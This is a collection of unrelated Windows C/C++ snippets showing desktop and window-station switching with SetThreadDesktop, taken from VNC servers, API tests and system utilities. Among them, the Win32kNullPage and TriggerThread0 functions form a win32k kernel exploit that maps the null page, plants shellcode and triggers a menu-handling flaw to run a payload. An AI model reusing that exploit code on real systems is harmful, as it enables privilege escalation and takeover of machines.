BOOL vncService::SelectHDESK(HDESK new_desktop) { // Are we running on NT? if (IsWinNT()) { HDESK old_desktop = GetThreadDesktop(GetCurrentThreadId()); DWORD dummy; char new_name[256]; if (!GetUserObjectInformation(new_desktop, UOI_NAME, &new_name, 256, &dummy)) { vnclog.Print(LL_INTERR, VNCLOG("!GetUserObjectInformation \n")); return FALSE; } vnclog.Print(LL_INTERR, VNCLOG("SelectHDESK to %s (%x) from %x\n"), new_name, new_desktop, old_desktop); // Switch the desktop if(!SetThreadDesktop(new_desktop)) { vnclog.Print(LL_INTERR, VNCLOG("SelectHDESK:!SetThreadDesktop \n")); return FALSE; } return TRUE; } return TRUE; }
BOOL vncService::SelectHDESK(HDESK new_desktop) { // Are we running on NT? if (IsWinNT()) { HDESK old_desktop = GetThreadDesktop(GetCurrentThreadId()); DWORD dummy; char new_name[256]; if (!GetUserObjectInformation(new_desktop, UOI_NAME, &new_name, 256, &dummy)) { return FALSE; } // Switch the desktop if(!SetThreadDesktop(new_desktop)) { return FALSE; } // Switched successfully - destroy the old desktop CloseDesktop(old_desktop); return TRUE; } return TRUE; }
int SetUserDesktop( int mode ) { static HWINSTA hwinstaSave; static HDESK hdeskSave; static HWINSTA hwinstaUser; static HDESK hdeskUser; if(mode == 1) { hwinstaSave = GetProcessWindowStation(); hdeskSave = GetThreadDesktop(GetCurrentThreadId()); hwinstaUser = OpenWindowStation("WinSta0", FALSE, MAXIMUM_ALLOWED); if (hwinstaUser == NULL) return 0; SetProcessWindowStation(hwinstaUser); hdeskUser = OpenDesktop("Default", 0, FALSE, MAXIMUM_ALLOWED); if (hdeskUser == NULL) { SetProcessWindowStation(hwinstaSave); CloseWindowStation(hwinstaUser); return 0; } SetThreadDesktop(hdeskUser); } else if(mode == 0) { SetThreadDesktop(hdeskSave); SetProcessWindowStation(hwinstaSave); CloseDesktop(hdeskUser); CloseWindowStation(hwinstaUser); } return 0; }
/************************************************ * Create a new Desktop and run a Thread in it. * * (Win NT+). * ************************************************/ int DLL_EXP_IMP WINAPI Thread_Desktop(LPTHREAD_START_ROUTINE ThreadFunc, THREAD_DATA *td) { HDESK hOriginalThread; HDESK hOriginalInput; HDESK hNewDesktop; // Save original ... hOriginalThread = GetThreadDesktop(GetCurrentThreadId()); hOriginalInput = OpenInputDesktop(0, FALSE, DESKTOP_SWITCHDESKTOP); // Create a new Desktop and switch to it hNewDesktop = CreateDesktop(td->szDesktopName, NULL, NULL, 0, GENERIC_ALL, NULL); SetThreadDesktop(hNewDesktop); SwitchDesktop(hNewDesktop); // Execute thread in new desktop td->hDesk = hNewDesktop; StartThread(ThreadFunc, td); // Restore original ... SwitchDesktop(hOriginalInput); SetThreadDesktop(hOriginalThread); // Close the Desktop CloseDesktop(hNewDesktop); return 0; }
/************************************************* * Create a new Desktop and run a Process in it. * * (Win NT+). * *************************************************/ int DLL_EXP_IMP WINAPI Process_Desktop(char *szDesktopName, char *szPath) { HDESK hOriginalThread; HDESK hOriginalInput; HDESK hNewDesktop; // Save original ... hOriginalThread = GetThreadDesktop(GetCurrentThreadId()); hOriginalInput = OpenInputDesktop(0, FALSE, DESKTOP_SWITCHDESKTOP); // Create a new Desktop and switch to it hNewDesktop = CreateDesktop(szDesktopName, NULL, NULL, 0, GENERIC_ALL, NULL); SetThreadDesktop(hNewDesktop); SwitchDesktop(hNewDesktop); // Execute process in new desktop StartProcess(szDesktopName, szPath); // Restore original ... SwitchDesktop(hOriginalInput); SetThreadDesktop(hOriginalThread); // Close the Desktop CloseDesktop(hNewDesktop); return 0; }
int pem_passwd_cb(char *buf, int size, int rwflag, void *userdata) { int result; #if 0 DWORD dwThreadId; HWINSTA hwinstaSave; HDESK hdeskSave; HWINSTA hwinstaUser; HDESK hdeskUser; buf[0]='\0'; /* empty the buffer */ /* Save the window station and desktop */ hwinstaSave=GetProcessWindowStation(); if(!hwinstaSave) ioerror("GetProcessWindowStation"); dwThreadId=GetCurrentThreadId(); if(!dwThreadId) ioerror("GetCurrentThreadId"); hdeskSave=GetThreadDesktop(dwThreadId); if(!hdeskSave) ioerror("GetThreadDesktop"); /* Switch to WinSta0/Default */ hwinstaUser=OpenWindowStation("winsta0", FALSE, MAXIMUM_ALLOWED); if(!hwinstaUser) ioerror("OpenWindowStation"); if(!SetProcessWindowStation(hwinstaUser)) ioerror("SetProcessWindowStation"); hdeskUser=OpenDesktop("Default", 0, FALSE, MAXIMUM_ALLOWED); /* Winlogon */ if(!hdeskUser) ioerror("OpenDesktop"); if(!SetThreadDesktop(hdeskUser)) ioerror("SetThreadDesktop"); #endif /* Display the dialog box */ section=userdata; result=DialogBox(ghInst, TEXT("PassBox"), hwnd, (DLGPROC)pass_proc); #if 0 /* Restore window station and desktop */ if(!SetThreadDesktop(hdeskSave)) ioerror("SetThreadDesktop"); if(!SetProcessWindowStation(hwinstaSave)) ioerror("SetProcessWindowStation"); if(!CloseDesktop(hdeskUser)) ioerror("CloseDesktop"); if(!CloseWindowStation(hwinstaUser)) ioerror("CloseWindowStation"); #endif if(!result) return 0; strncpy(buf, passphrase, size); buf[size - 1] = '\0'; return strlen(buf); }
void Test_OpenInputDesktop() { HDESK hDeskInput ,hDeskInput2; HDESK hDeskInitial; BOOL ret; HWINSTA hwinsta = NULL, hwinstaInitial; DWORD err; hDeskInput = OpenInputDesktop(0, FALSE, DESKTOP_ALL_ACCESS); ok(hDeskInput != NULL, "OpenInputDesktop failed\n"); hDeskInitial = GetThreadDesktop( GetCurrentThreadId() ); ok(hDeskInitial != NULL, "GetThreadDesktop failed\n"); ok(hDeskInput != hDeskInitial, "OpenInputDesktop returned thread desktop\n"); hDeskInput2 = OpenInputDesktop(0, FALSE, DESKTOP_ALL_ACCESS); ok(hDeskInput2 != NULL, "Second call to OpenInputDesktop failed\n"); ok(hDeskInput2 != hDeskInput, "Second call to OpenInputDesktop returned same handle\n"); ok(CloseDesktop(hDeskInput2) != 0, "CloseDesktop failed\n"); ret = SetThreadDesktop(hDeskInput); ok(ret == TRUE, "SetThreadDesktop for input desktop failed\n"); ret = SetThreadDesktop(hDeskInitial); ok(ret == TRUE, "SetThreadDesktop for initial desktop failed\n"); ok(CloseDesktop(hDeskInput) != 0, "CloseDesktop failed\n"); /* Try calling OpenInputDesktop after switching to a new winsta */ hwinstaInitial = GetProcessWindowStation(); ok(hwinstaInitial != 0, "GetProcessWindowStation failed\n"); hwinsta = CreateWindowStationW(L"TestWinsta", 0, WINSTA_ALL_ACCESS, NULL); ok(hwinsta != 0, "CreateWindowStationW failed\n"); ret = SetProcessWindowStation(hwinsta); ok(ret != 0, "SetProcessWindowStation failed\n"); hDeskInput = OpenInputDesktop(0, FALSE, DESKTOP_ALL_ACCESS); ok(hDeskInput == 0, "OpenInputDesktop should fail\n"); err = GetLastError(); ok(err == ERROR_INVALID_FUNCTION, "Got last error: %lu\n", err); ret = SetProcessWindowStation(hwinstaInitial); ok(ret != 0, "SetProcessWindowStation failed\n"); ret = CloseWindowStation(hwinsta); ok(ret != 0, "CloseWindowStation failed\n"); }
int APIENTRY _tWinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPTSTR lpCmdLine, int nCmdShow) { try { wchar_t* desktop = L"NewDesktop"; HDESK hThreadDT = GetThreadDesktop(GetCurrentThreadId()); HDESK hInputDT = OpenInputDesktop(0, FALSE, DESKTOP_SWITCHDESKTOP); HDESK hNewDT = CreateDesktop(desktop, NULL, NULL, 0, GENERIC_ALL, NULL); SetThreadDesktop(hNewDT); SwitchDesktop(hNewDT); PROCESS_INFORMATION pi; STARTUPINFO si; memset(&pi, 0, sizeof(pi)); memset(&si, 0, sizeof(si)); si.cb = sizeof(si); si.lpDesktop = desktop; wchar_t cmdline[MAX_PATH]; wsprintf(cmdline, L"%s %s", L"NAMCredentialWizard.exe", L"/u"); if (CreateProcess(L"NAMCredentialWizard.exe", cmdline, NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi)) { WaitForSingleObject(pi.hProcess, INFINITE); } else { wchar_t msg[1000]; wsprintf(msg,L"CreateProcess failed (%d)",GetLastError()); MessageBox(NULL,msg,NULL,MB_OK); } SwitchDesktop(hInputDT); SetThreadDesktop(hThreadDT); CloseDesktop(hNewDT); return 0; } catch(...) { MessageBox(NULL,L"Caught Exception",NULL,MB_OK); } }
DWORD WINAPI BlackWindow(LPVOID lpParam) { // TODO: Place code here. HDESK desktop; desktop = OpenInputDesktop(0, FALSE, DESKTOP_CREATEMENU | DESKTOP_CREATEWINDOW | DESKTOP_ENUMERATE | DESKTOP_HOOKCONTROL | DESKTOP_WRITEOBJECTS | DESKTOP_READOBJECTS | DESKTOP_SWITCHDESKTOP | GENERIC_WRITE ); if (desktop == NULL) vnclog.Print(LL_INTERR, VNCLOG("OpenInputdesktop Error \n")); else vnclog.Print(LL_INTERR, VNCLOG("OpenInputdesktop OK\n")); HDESK old_desktop = GetThreadDesktop(GetCurrentThreadId()); DWORD dummy; char new_name[256]; if (desktop) { if (!GetUserObjectInformation(desktop, UOI_NAME, &new_name, 256, &dummy)) { vnclog.Print(LL_INTERR, VNCLOG("!GetUserObjectInformation \n")); } vnclog.Print(LL_INTERR, VNCLOG("SelectHDESK to %s (%x) from %x\n"), new_name, desktop, old_desktop); if (!SetThreadDesktop(desktop)) { vnclog.Print(LL_INTERR, VNCLOG("SelectHDESK:!SetThreadDesktop \n")); } } create_window(); MSG msg; while (GetMessage(&msg,0,0,0) != 0) { TranslateMessage(&msg); DispatchMessage(&msg); } vnclog.Print(LL_INTERR, VNCLOG("end BlackWindow \n")); SetThreadDesktop(old_desktop); if (desktop) CloseDesktop(desktop); return 0; }
void KillWindow() { window_ready=false; wglMakeCurrent(NULL,NULL); // release GL rendering context if (hRC) { wglDeleteContext(hRC); hRC=NULL; } if (hWnd && hDC) { ReleaseDC(hWnd,hDC); } hDC = NULL; if (hWnd) { DestroyWindow(hWnd); } hWnd = NULL; if (hOriginalWindowStation) { SetProcessWindowStation(hOriginalWindowStation); CloseWindowStation(hInteractiveWindowStation); hInteractiveWindowStation = NULL; } if (hOriginalDesktop) { SetThreadDesktop(hOriginalDesktop); CloseDesktop(hInteractiveDesktop); hInteractiveDesktop = NULL; } }
BOOL vncService::SelectHDESK(HDESK new_desktop) { // Are we running on NT? if (IsWinNT()) { HDESK old_desktop = GetThreadDesktop(GetCurrentThreadId()); DWORD dummy; char new_name[256]; if (!GetUserObjectInformation(new_desktop, UOI_NAME, &new_name, 256, &dummy)) { vnclog.Print(LL_INTERR, VNCLOG("GetUserObjectInformation() failed\n")); return FALSE; } vnclog.Print(LL_INTINFO, VNCLOG("SelectHDESK() to %s (%x) from %x\n"), new_name, new_desktop, old_desktop); // Switch the desktop if(!SetThreadDesktop(new_desktop)) { vnclog.Print(LL_INTERR, VNCLOG("unable to SetThreadDesktop(), error=%d\n"), GetLastError()); return FALSE; } // Switched successfully - destroy the old desktop if (!CloseDesktop(old_desktop)) vnclog.Print(LL_INTERR, VNCLOG("SelectHDESK failed to close old desktop %x, error=%d\n"), old_desktop, GetLastError()); return TRUE; } return TRUE; }
~EnterDesktop() { if (old) { if (!SetThreadDesktop(old)) LCF1(L"SetThreadDesktop failed: %d", GetLastError()); } }
bool SelectDesktop() { HDESK desktop; HDESK old_desktop; DWORD dummy; char new_name[256]; desktop = OpenInputDesktop(0, FALSE, DESKTOP_CREATEMENU | DESKTOP_CREATEWINDOW | DESKTOP_ENUMERATE | DESKTOP_HOOKCONTROL | DESKTOP_WRITEOBJECTS | DESKTOP_READOBJECTS | DESKTOP_SWITCHDESKTOP | GENERIC_WRITE); if (desktop == NULL) return FALSE; old_desktop = GetThreadDesktop(GetCurrentThreadId()); if (!GetUserObjectInformation(desktop, UOI_NAME, &new_name, 256, &dummy)) { CloseDesktop(desktop); return FALSE; } if(!SetThreadDesktop(desktop)) { CloseDesktop(desktop); return FALSE; } CloseDesktop(old_desktop); return TRUE; }
bool SwitchInputDesktop() { BOOL bRet = false; DWORD dwLengthNeeded; HDESK hOldDesktop, hNewDesktop; char strCurrentDesktop[256], strInputDesktop[256]; hOldDesktop = GetThreadDesktop(GetCurrentThreadId()); memset(strCurrentDesktop, 0, sizeof(strCurrentDesktop)); GetUserObjectInformation(hOldDesktop, UOI_NAME, &strCurrentDesktop, sizeof(strCurrentDesktop), &dwLengthNeeded); hNewDesktop = OpenInputDesktop(0, FALSE, MAXIMUM_ALLOWED); memset(strInputDesktop, 0, sizeof(strInputDesktop)); GetUserObjectInformation(hNewDesktop, UOI_NAME, &strInputDesktop, sizeof(strInputDesktop), &dwLengthNeeded); if (lstrcmpi(strInputDesktop, strCurrentDesktop) != 0) { SetThreadDesktop(hNewDesktop); bRet = true; } CloseDesktop(hOldDesktop); CloseDesktop(hNewDesktop); return bRet; }
static DWORD WINAPI thread_proc(void *param) { THREAD_DATA* current_data = (THREAD_DATA*)param; MSG msg; HDESK hdesk = NULL; int iwnd; if(current_data->Desktop) { hdesk = CreateDesktopW(current_data->Desktop, NULL, NULL, 0, DESKTOP_ALL_ACCESS, NULL ); SetThreadDesktop(hdesk); } /* create test window */ current_data->hWnd = CreateWindowW(L"TestClass", L"test", WS_OVERLAPPEDWINDOW, 100, 100, 500, 500, NULL, NULL, 0, NULL); SetEvent( current_data->StartEvent ); iwnd = get_iwnd(current_data->hWnd); /* Use MsgWaitForMultipleObjects to let the thread process apcs */ while( GetMessage(&msg, 0,0,0) ) { if(msg.message > 0 && msg.message < WM_APP && msg.message != WM_TIMER ) record_message(&data[iwnd].cache, iwnd, msg.message, POST, msg.wParam,0); DispatchMessage(&msg); } if(hdesk) CloseDesktop(hdesk); return 0; }
BOOL vncService::SelectHDESK(HDESK new_desktop) { // Are we running on NT? if (IsWinNT()) { HDESK old_desktop = GetThreadDesktop(GetCurrentThreadId()); //You do not need to call the CloseDesktop function to close the returned handle. DWORD dummy; char new_name[256]; if (!GetUserObjectInformation(new_desktop, UOI_NAME, &new_name, 256, &dummy)) { return FALSE; } //vnclog.Print(LL_INTERR, VNCLOG("SelectHDESK to %s (%x) from %x\n"), new_name, new_desktop, old_desktop); // Switch the desktop if(!SetThreadDesktop(new_desktop)) { return FALSE; } return TRUE; } return TRUE; }
void Win32kNullPage(LPVOID lpPayload) { HMENU menu1 = NULL; HMENU menu2 = NULL; HANDLE gdi_handle = NULL; void *promise_land = NULL; ULONG interval = 0; PHANDLEENTRY aheList = NULL; PHANDLEENTRY target_handle = NULL; DWORD saved_bytes = 0; desktop = CreateDesktop("DontPanic", NULL, NULL, 0, GENERIC_ALL, NULL); SetThreadDesktop(desktop); if (!CreateAndRegisterClass(window_class_name)) { return; } if (AllocateNullPage() != STATUS_SUCCESS) { return; } *((PDWORD)promise_land + 0) = 0x000004eb; /* jmp 4 */ *((PDWORD)promise_land + 1) = 0x90909090; /* noooop */ *((PDWORD)promise_land + 2) = 0x000400b8; /* mov eax, 400 */ *((PDWORD)promise_land + 3) = 0x90d0ff00; /* call eax */ *((PDWORD)promise_land + 7) = 0x00; *((PDWORD)promise_land + 9) = 0x00; *((PDWORD)promise_land + 12) = 0x00; *(PDWORD)((PBYTE)promise_land + 0x04eb + 0x04) = (0x0200 - 4); *(PDWORD)((PBYTE)promise_land + 0x04eb + 0x08) = (0x0200 - 4); memcpy((PDWORD)promise_land + 256, shellcode, sizeof(shellcode)); window1 = CreateWindow(window_class_name, "Window 1", WS_OVERLAPPEDWINDOW, CW_USEDEFAULT, CW_USEDEFAULT, 240, 120, NULL, NULL, NULL, NULL); menu1 = CreatePopupMenu(); menu2 = CreateMenu(); SetMenu(window1, menu2); DestroyMenu(menu2); aheList = GetAheList(); *((PDWORD)promise_land + 127) = ((DWORD)menu2 & 0xffff); *((PDWORD)promise_land + 128) = 0x01; *((PDWORD)promise_land + 129) = ((((DWORD)menu2 & 0xffff) * 12) + TABLE_BASE + 5) - 0x0104; target_handle = &aheList[((DWORD)menu2 & 0xffff)]; *((PDWORD)promise_land + 512) = ((((DWORD)menu2 & 0xffff) * 12) + TABLE_BASE); memcpy((PDWORD)promise_land + 513, target_handle, sizeof(HANDLEENTRY)); if (AppendMenu(menu1, (MF_STRING | MF_ENABLED), 32001, "test") == 0) { return; } do { gdi_handle = CreateMetaFile(NULL); } while (gdi_handle != NULL); CreateThread(NULL, 0, TriggerThread0, NULL, 0, 0); Sleep(500); TrackPopupMenu(menu1, TPM_CENTERALIGN, 0, 0, 0, window1, NULL); CreateThread(0, 0, ExecutePayload, lpPayload, 0, NULL); return; }
BOOL COpenDesktop::_OpenDesktop(LPCWSTR szName) { WCHAR pvInfo[128] = {0}; if(szName != NULL) { lstrcpy((LPSTR)pvInfo, (LPCSTR)szName); } else { HDESK hActiveDesktop; DWORD dwLen; hActiveDesktop = OpenInputDesktop(DF_ALLOWOTHERACCOUNTHOOK, FALSE, MAXIMUM_ALLOWED); GetUserObjectInformation(hActiveDesktop, UOI_NAME, pvInfo, sizeof(pvInfo), &dwLen); CloseDesktop(hActiveDesktop); } m_hwinstaCurrent = GetProcessWindowStation(); CheckPointer(m_hwinstaCurrent,FALSE); m_hdeskCurrent = GetThreadDesktop(GetCurrentThreadId()); CheckPointer(m_hdeskCurrent,FALSE); // ´ò¿ªwinsta0 m_hwinsta = OpenWindowStation(_T("winsta0"), FALSE, WINSTA_ACCESSCLIPBOARD | WINSTA_ACCESSGLOBALATOMS | WINSTA_CREATEDESKTOP | WINSTA_ENUMDESKTOPS | WINSTA_ENUMERATE | WINSTA_EXITWINDOWS | WINSTA_READATTRIBUTES | WINSTA_READSCREEN | WINSTA_WRITEATTRIBUTES); CheckPointer(m_hwinsta,FALSE); if (!SetProcessWindowStation(m_hwinsta)) { return FALSE; } // ´ò¿ªdesktop m_hdesk = OpenDesktop((LPSTR)pvInfo, 0, FALSE, DESKTOP_CREATEMENU | DESKTOP_CREATEWINDOW | DESKTOP_ENUMERATE | DESKTOP_HOOKCONTROL | DESKTOP_JOURNALPLAYBACK | DESKTOP_JOURNALRECORD | DESKTOP_READOBJECTS | DESKTOP_SWITCHDESKTOP | DESKTOP_WRITEOBJECTS); CheckPointer(m_hdesk,FALSE); SetThreadDesktop(m_hdesk); return TRUE; }
bool DetachFromWorkstation() { // Restore window station and desktop. SetThreadDesktop(hdeskSave); SetProcessWindowStation(hwinstaSave); CloseDesktop(hdeskUser); CloseWindowStation(hwinstaUser); return true; }
static BOOL CALLBACK check_winsta(wchar_t* winsta_name, LPARAM) { debug(L"entering enum_winsta_proc, winsta_name = %s\n", winsta_name); // open the window station and connect to it // (TODO: figure out what permissions are really needed here) // HWINSTA winsta = OpenWindowStation(winsta_name, FALSE, MAXIMUM_ALLOWED); if (winsta == NULL) { debug(L"OpenWindowStation error: %u\n", GetLastError()); return TRUE; } HWINSTA old_winsta = GetProcessWindowStation(); if (SetProcessWindowStation(winsta) == FALSE) { debug(L"SetProcessWindowStation error: %u\n", GetLastError()); if (CloseWindowStation(winsta) == FALSE) { debug(L"CloseWindowStation error: %u\n", GetLastError()); } return TRUE; } if (CloseWindowStation(old_winsta) == FALSE) { debug(L"CloseWindowStation error: %u\n", GetLastError()); } // open the "default" desktop and connect to it (if present) // (TODO: figure out what permissions are really needed here) // HDESK desktop = OpenDesktop(L"default", 0, FALSE, MAXIMUM_ALLOWED); if (desktop == NULL) { debug(L"OpenDesktop error: %u\n", GetLastError()); return TRUE; } HDESK old_desktop = GetThreadDesktop(GetCurrentThreadId()); if (SetThreadDesktop(desktop) == FALSE) { debug(L"SetThreadDesktop error: %u\n", GetLastError()); if (CloseDesktop(desktop) == FALSE) { debug(L"CloseDesktop error: %u\n", GetLastError()); } return TRUE; } if (CloseDesktop(old_desktop) == FALSE) { debug(L"CloseDesktop error: %u\n", GetLastError()); } // check_this_winsta() returns TRUE if it found the pid, FALSE if not // BOOL found = check_this_winsta(); if (found) { SetLastError(ERROR_SUCCESS); } // return TRUE to keep searching return ! found; }
DWORD WINAPI TriggerThread0(void *garbage) { HMENU menu0; SetThreadDesktop(desktop); window0 = CreateWindow(window_class_name, "Window 0", WS_OVERLAPPEDWINDOW, CW_USEDEFAULT, CW_USEDEFAULT, 240, 120, NULL, NULL, NULL, NULL); menu0 = CreatePopupMenu(); if (AppendMenu(menu0, (MF_STRING | MF_ENABLED), 32001, "test") == 0) { return 0; } TrackPopupMenu(menu0, TPM_CENTERALIGN, 0, 0, 0, window0, NULL); return 0; }
VOID PrepareMainThread() { PMONITOR Monitor = GetMonitor(); HMODULE hModule = NULL; HWINSTA hWinsta = NULL; HDESK hDesk = NULL; PCLIENT_THREAD_SETUP ClientThreadSetup = NULL; hModule = LoadLibrary(L"user32.dll"); if (hModule == NULL) { DebugPrint(L"LoadLibrary failed\n"); return; } DebugPrint(L"IsGUIThread=%x\n", IsGUIThread(TRUE)); ClientThreadSetup = (PCLIENT_THREAD_SETUP)GetProcAddress(hModule, "ClientThreadSetup"); if (ClientThreadSetup == NULL) { DebugPrint(L"ClientThreadSetup not found in mod=%p\n", hModule); goto cleanup; } BOOL Result = ClientThreadSetup(); DebugPrint(L"ClientThreadSetup=%x\n", Result); hWinsta = DeviceOpenWinsta(L"WinSta0"); if (hWinsta != NULL) { hDesk = DeviceOpenDesktop(hWinsta, L"Default"); } DebugPrint(L"Opened hwinsta=%p, hdesk=%p\n", hWinsta, hDesk); if (hWinsta != NULL) { if (!SetProcessWindowStation(hWinsta)) { DebugPrint(L"SetProcessWindowStation failed, err=%d, hWinsta=%x\n", GetLastError(), hWinsta); } } if (hDesk != NULL) { if (!SetThreadDesktop(hDesk)) { DebugPrint(L"SetThreadDesktop failed, error=%d\n", GetLastError()); } } if (hDesk != NULL) CloseDesktop(hDesk); if (hWinsta != NULL) CloseWindowStation(hWinsta); cleanup: FreeLibrary(hModule); }
static DWORD CALLBACK thread( LPVOID arg ) { HDESK d1, d2; HWND hwnd = CreateWindowExA(0,"WinStationClass","test",WS_POPUP,0,0,100,100,GetDesktopWindow(),0,0,0); ok( hwnd != 0, "CreateWindow failed\n" ); d1 = GetThreadDesktop(GetCurrentThreadId()); trace( "thread %p desktop: %p\n", arg, d1 ); ok( d1 == initial_desktop, "thread %p doesn't use initial desktop\n", arg ); SetLastError( 0xdeadbeef ); ok( !CloseHandle( d1 ), "CloseHandle succeeded\n" ); ok( GetLastError() == ERROR_INVALID_HANDLE, "bad last error %d\n", GetLastError() ); SetLastError( 0xdeadbeef ); ok( !CloseDesktop( d1 ), "CloseDesktop succeeded\n" ); ok( GetLastError() == ERROR_BUSY || broken(GetLastError() == 0xdeadbeef), /* wow64 */ "bad last error %d\n", GetLastError() ); print_object( d1 ); d2 = CreateDesktop( "foobar2", NULL, NULL, 0, DESKTOP_ALL_ACCESS, NULL ); trace( "created desktop %p\n", d2 ); ok( d2 != 0, "CreateDesktop failed\n" ); SetLastError( 0xdeadbeef ); ok( !SetThreadDesktop( d2 ), "set thread desktop succeeded with existing window\n" ); ok( GetLastError() == ERROR_BUSY || broken(GetLastError() == 0xdeadbeef), /* wow64 */ "bad last error %d\n", GetLastError() ); DestroyWindow( hwnd ); ok( SetThreadDesktop( d2 ), "set thread desktop failed\n" ); d1 = GetThreadDesktop(GetCurrentThreadId()); ok( d1 == d2, "GetThreadDesktop did not return set desktop %p/%p\n", d1, d2 ); print_object( d2 ); if (arg < (LPVOID)5) { HANDLE hthread = CreateThread( NULL, 0, thread, (char *)arg + 1, 0, NULL ); Sleep(1000); WaitForSingleObject( hthread, INFINITE ); CloseHandle( hthread ); } return 0; }
BOOL shutdown_all_desktops( BOOL force ) { BOOL ret; HDESK prev_desktop; prev_desktop = GetThreadDesktop(GetCurrentThreadId()); ret = EnumDesktopsW( NULL, shutdown_one_desktop, (LPARAM)force ); SetThreadDesktop(prev_desktop); return ret; }
void Test_DesktopAccess() { HDESK hDesk, hDeskInitial; POINT curPoint, initialPoint; BOOL ret; hDeskInitial = GetThreadDesktop(GetCurrentThreadId()); ok(hDeskInitial != NULL, "Failed to retrieve the initial desktop\n"); ret = GetCursorPos(&initialPoint); ok(ret == TRUE, "GetCursorPos should succed\n"); hDesk = CreateDesktopW(L"testDesktop", NULL, NULL, 0, 0x01ff, NULL); ok(hDesk != 0, "Failed to create a new desktop\n"); SetThreadDesktop(hDesk); ok(GetThreadDesktop(GetCurrentThreadId()) == hDesk, "SetThreadDesktop had no effect\n"); SetLastError(0xdeadbeef); ret = GetCursorPos(&curPoint); ok(ret == FALSE, "GetCursorPos should fail\n"); ok(GetLastError() == ERROR_ACCESS_DENIED, "Expected ERROR_ACCESS_DENIED got 0x%lu\n", GetLastError()); SetLastError(0xdeadbeef); ret = SetCursorPos(2,2); ok(ret == FALSE, "SetCursorPos should fail\n"); ok(GetLastError() == 0xdeadbeef, "Wrong last error, got 0x%lu\n", GetLastError()); ret = GetCursorPos(&curPoint); ok(ret == FALSE, "GetCursorPos should fail\n"); SetThreadDesktop(hDeskInitial); ret = GetCursorPos(&curPoint); ok(ret == TRUE, "GetCursorPos should succed\n"); ok(curPoint.x == initialPoint.x && curPoint.y == initialPoint.y, "Mouse position changed\n"); }
EnterDesktop(HDESK hdesk) : old(0) { old = GetThreadDesktop(GetCurrentThreadId()); if (hdesk == old) { // obvious case where thread is already on the requisite desktop - nothing to do old = 0; } else if (!SetThreadDesktop(hdesk)) { // something bad happened, don't try to restore the desktop old = 0; LCF1(L"SetThreadDesktop failed: %d", GetLastError()); } }
// this is required when we're replacing winlogon void init_window_station( void ) { SECURITY_ATTRIBUTES sa; HANDLE hwsta, hdesk; sa.nLength = sizeof sa; sa.lpSecurityDescriptor = 0; sa.bInheritHandle = TRUE; hwsta = CreateWindowStationW( L"winsta0", 0, MAXIMUM_ALLOWED, &sa ); SetProcessWindowStation( hwsta ); hdesk = CreateDesktopW( L"Winlogon", 0, 0, 0, MAXIMUM_ALLOWED, &sa ); SetThreadDesktop( hdesk ); }
// get the current input desktop name and compare with // the desktop the call thread attached ,if not equal, // then switch to the input desktop BOOL SwitchInputDesktop() { HDESK threaddesk = GetThreadDesktop(GetCurrentThreadId()); HDESK inputdesk = OpenInputDesktop(0, DF_ALLOWOTHERACCOUNTHOOK,GENERIC_ALL); if (inputdesk == NULL) { DebugOutF(filelog::log_error,("OpenInputDesktop failed with %d"),GetLastError()); return FALSE; } DWORD len=0; TCHAR szThread[MAX_PATH]; TCHAR szInput[MAX_PATH]; szThread[0] = _T('\0'); szInput[0] = _T('\0'); BOOL res = FALSE; try { // get desktop name if(!GetUserObjectInformation(threaddesk, UOI_NAME, szThread, MAX_PATH, &len)){ DebugOutF(filelog::log_error,("GetUserObjectInformation failed with %d"),GetLastError()); throw FALSE; } if (!GetUserObjectInformation(inputdesk, UOI_NAME, szInput, MAX_PATH, &len)) { DebugOutF(filelog::log_error,("GetUserObjectInformation failed with %d"),GetLastError()); throw FALSE; } //compare,if not equal,then switch to the input desktop if (_tcsicmp(szThread, szInput) != 0) { if(!SetThreadDesktop(inputdesk)){ DebugOutF(filelog::log_error,("SetThreadDesktop %s failed with %d"),szInput,GetLastError()); throw FALSE; } DebugOutF(filelog::log_info,("switch input desktop %s"),szInput); res = TRUE; } } catch(BOOL b1) { res = b1; } if(threaddesk)CloseDesktop(threaddesk); if(inputdesk)CloseDesktop(inputdesk); return res; }
static DWORD WINAPI StartupWindowThread(LPVOID lpParam) { HDESK OldDesk; PDISPLAYSTATUSMSG msg = (PDISPLAYSTATUSMSG)lpParam; OldDesk = GetThreadDesktop(GetCurrentThreadId()); if(!SetThreadDesktop(msg->hDesktop)) { HeapFree(GetProcessHeap(), 0, lpParam); return FALSE; } DialogBoxParam( hDllInstance, MAKEINTRESOURCE(IDD_STATUSWINDOW_DLG), GetDesktopWindow(), StatusMessageWindowProc, (LPARAM)lpParam); SetThreadDesktop(OldDesk); HeapFree(GetProcessHeap(), 0, lpParam); return TRUE; }
DWORD MessageBoxSecure(HWND hWnd,LPCTSTR lpText,LPCTSTR lpCaption,UINT uType) { DWORD retunvalue; if (m_fRunningFromExternalService) { HDESK desktop=NULL; HDESK old_desktop; desktop = OpenInputDesktop(0, FALSE,DESKTOP_CREATEMENU | DESKTOP_CREATEWINDOW |DESKTOP_ENUMERATE | DESKTOP_HOOKCONTROL |DESKTOP_WRITEOBJECTS | DESKTOP_READOBJECTS |DESKTOP_SWITCHDESKTOP | GENERIC_WRITE); old_desktop = GetThreadDesktop(GetCurrentThreadId()); if (desktop && old_desktop && old_desktop!=desktop) { SetThreadDesktop(desktop); retunvalue=MessageBox(hWnd,lpText,lpCaption,uType); SetThreadDesktop(old_desktop); CloseDesktop(desktop); } else retunvalue=0; } else { retunvalue=MessageBox(hWnd,lpText,lpCaption,uType); } return retunvalue; }